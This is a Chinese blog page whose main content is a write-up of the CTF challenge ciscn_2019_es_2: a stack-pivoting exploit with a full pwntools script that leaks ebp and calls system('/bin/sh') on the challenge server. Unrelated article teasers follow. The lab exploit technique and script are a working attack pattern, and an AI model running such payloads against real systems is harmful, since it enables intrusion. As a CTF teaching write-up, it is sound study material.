ciscn_2019_es_2 📅 发布时间:2026/7/15 6:47:09 👁️ 浏览次数: 检查一下拖入ida查看main函数中没有发现明显漏洞点进入vul函数中,发现存在溢出第6行和第8行read函数都存在明显溢出还看到一个叫hack的函数,点进去发现不是后门函数,他只会打印flag这个字符串出来那我们要重新分析,我们覆盖完栈底后,实际的溢出长度只有4字节不足以我们完成system函数调用和写入/bin/sh这里就使用栈迁移的技巧去完成了通过gdb调试,得到ebp中存放的地址和实际ebp地址的关系找到leave_ret的地址注意,这里第一处不能使用sendline,因为sendline会在我们的发送的payload后加一个\n导致栈溢出,将我们的栈底覆盖,影响我们后续的操作from pwn import * context(arch i386,os linux,log_level debug) io remote(node5.buuoj.cn,29729) system_addr 0x08048400 leave_ret 0x08048562 main_addr 0x080485FF payload1 ba*0x27 bb io.send(payload1) io.recvuntil(bb) ebp_addr u32(io.recv(4)) payload2 ba*4 p32(system_addr) p32(main_addr) p32(ebp_addr-0x28) b/bin/sh payload2 payload2.ljust(0x28,b\x00) payload2 p32(ebp_addr-0x38) p32(leave_ret) io.sendline(payload2) io.interactive()获得flag
AI赋能:借助快马平台让openclaw插件学会智能阅读,自动生成网页摘要与大纲 最近在做一个浏览器插件的小项目,想实现一个叫“openclaw”的智能阅读助手。核心想法很简单:平时浏览长文章或技术文档时,经常需要快速抓住重点,或者对某个段落有疑问。如果能有个插件,划选文本就自动总结,… 2026/5/17 2:25:39
[技术突破]打破音频格式壁垒:ncmdump开源项目的民主化实践 [技术突破]打破音频格式壁垒:ncmdump开源项目的民主化实践 【免费下载链接】ncmdump 转换网易云音乐 ncm 到 mp3 / flac. Convert Netease Cloud Music ncm files to mp3/flac files. 项目地址: https://gitcode.com/gh_mirrors/nc/ncmdump 问题溯源… 2026/3/18 15:26:36
机器视觉实战:从零到一,Halcon模板创建与精准定位全流程解析 1. 为什么需要模板匹配? 想象一下你在玩"找不同"游戏,手里拿着一张标准图,要在另一张复杂场景里找到完全相同的图案。机器视觉中的模板匹配就是这个原理的工业级应用——让计算机自动在杂乱环境中锁定目标物体。Halcon作为工业视觉… 2026/3/18 15:26:26
Diablo Edit2:重新定义暗黑破坏神2的角色构建体验 Diablo Edit2:重新定义暗黑破坏神2的角色构建体验 【免费下载链接】diablo_edit Diablo II Character editor. 项目地址: https://gitcode.com/gh_mirrors/di/diablo_edit 你是否曾为暗黑破坏神2中某个build的失败而感到沮丧?是否因为技能点分配不… 2026/7/15 6:45:44
基于深度学习的端到端声音事件检测与定位系统实战 最近在开发智能家居或安防系统时,很多开发者会遇到一个看似简单却颇为棘手的问题:如何准确识别和定位特定声音事件,比如房间里的"跺脚声"?传统的解决方案要么成本高昂,要么准确率不尽如人意。本文将深入探讨… 2026/7/15 6:43:43
Python字符串格式化全解析:从%占位符到f-string的演进与实战 1. Python字符串格式化的前世今生 第一次接触Python字符串格式化时,我被各种百分号和花括号搞得晕头转向。后来在实际项目中踩过不少坑才明白,Python的字符串格式化其实经历了三个重要的演进阶段:从最早的%操作符,到更灵活的forma… 2026/7/15 6:39:42
[AI] 这周最值得继续追的 3 个 AI / Dify 热点,到底哪一个最可能先落地? 这段时间 AI 相关信息实在太多了。 每天打开资讯流,你都会看到类似内容: 新模型发布了 智能体又火了 工作流自动化又出了新玩法 企业助手、知识库、周报生成、评审助手、内部 AI 平台,几乎每个方向都有人在做 问题是: 大多数团队根本没有精力把所有热点都跟一遍。 所以真正… 2026/7/15 6:35:40
[Dify实战] 为什么很多团队不是不会做 AI,而是没有先搭好可复用的 Dify 入口层? 很多团队做 AI 项目时,表面上看卡在“模型不够强”“提示词效果不稳定”“工作流总要返工”,但如果把项目过程拆开看,你会发现真正的问题,往往不是不会做,而是从一开始就没有把“入口层”搭好。 这里说的入口层,不是一个登录页,也不是一个表单页,而是“业务需求进入 A… 2026/7/15 6:35:40
caffeine缓存+rpc+notify清空缓存技术 大型跨服游戏中,经常是需要读取远程服务器上的数据,但是又不想每次RPC,此时就可以用到这种技术。 2026/7/15 6:35:40
行星减速机的工作原理是什么?从齿轮运动关系到减速比计算 一、行星齿轮机构的组成 标准行星齿轮机构主要包括: 太阳轮; 行星轮; 内齿圈; 行星架。 太阳轮位于机构中心。 多个行星轮围绕太阳轮均匀布置,行星轮内侧与太阳轮外啮合,外侧与内齿圈内啮合。 行星轮通过轴… 2026/7/15 0:03:00
阅读Java开源框架源码的心得分享! 前几日闲来无事有幸看到了一位博主分享自己阅读开源框架源码的心得,看了之后也引发了我的一些深度思考。我们为什么要看源码?我们该怎么样去看源码? 其中前者那位博主描述的我觉得很全了(如下图所示),就不做… 2026/7/15 0:03:00
【LINUX】驱动 【LINUX驱动】【字符设备】【中断】【Platform】【网课 设备树】【GPIO】【PINCTRL】【INPUT】【IIC】【SPI】【网络驱动】【屏幕驱动】【一 设备树】【二 内核模块编译】【三 基本驱动框架】【四 Platform总线设备驱动框架】【五 驱动子系统】【六 综合】 2026/7/15 0:07:01
Git reset 与 revert 深度对比:5个关键差异与 3 种典型应用场景 Git Reset 与 Revert 深度对比:5个关键差异与3种典型应用场景在团队协作开发中,代码版本管理如同行走钢丝——一步失误可能导致整个项目陷入混乱。作为Git进阶用户,你是否曾在深夜面对错误的提交束手无策?是否在强制推送后收到同事… 2026/7/13 8:31:55
GitHub 学生包申请避坑:5个常见失败原因与开发者工具调试方案 GitHub 学生包申请技术排障指南:5个高频失败场景与开发者工具实战方案第一次尝试申请GitHub学生包时,我盯着屏幕上那个不断转圈的加载动画整整15分钟,最终只等来了一行冰冷的错误提示。这可能是许多开发者共同的经历——明明按照教程操作&… 2026/7/14 18:25:04
冒烟测试用例设计规范:5%-10%覆盖率下的3类核心场景与执行标准 冒烟测试用例设计的黄金法则:5%-10%覆盖率下的精准筛选策略在快节奏的敏捷开发环境中,冒烟测试作为质量保障的第一道防线,其重要性不言而喻。当测试资源有限而时间紧迫时,如何从海量测试用例中精准筛选出那关键的5%-10%࿰… 2026/7/14 5:09:41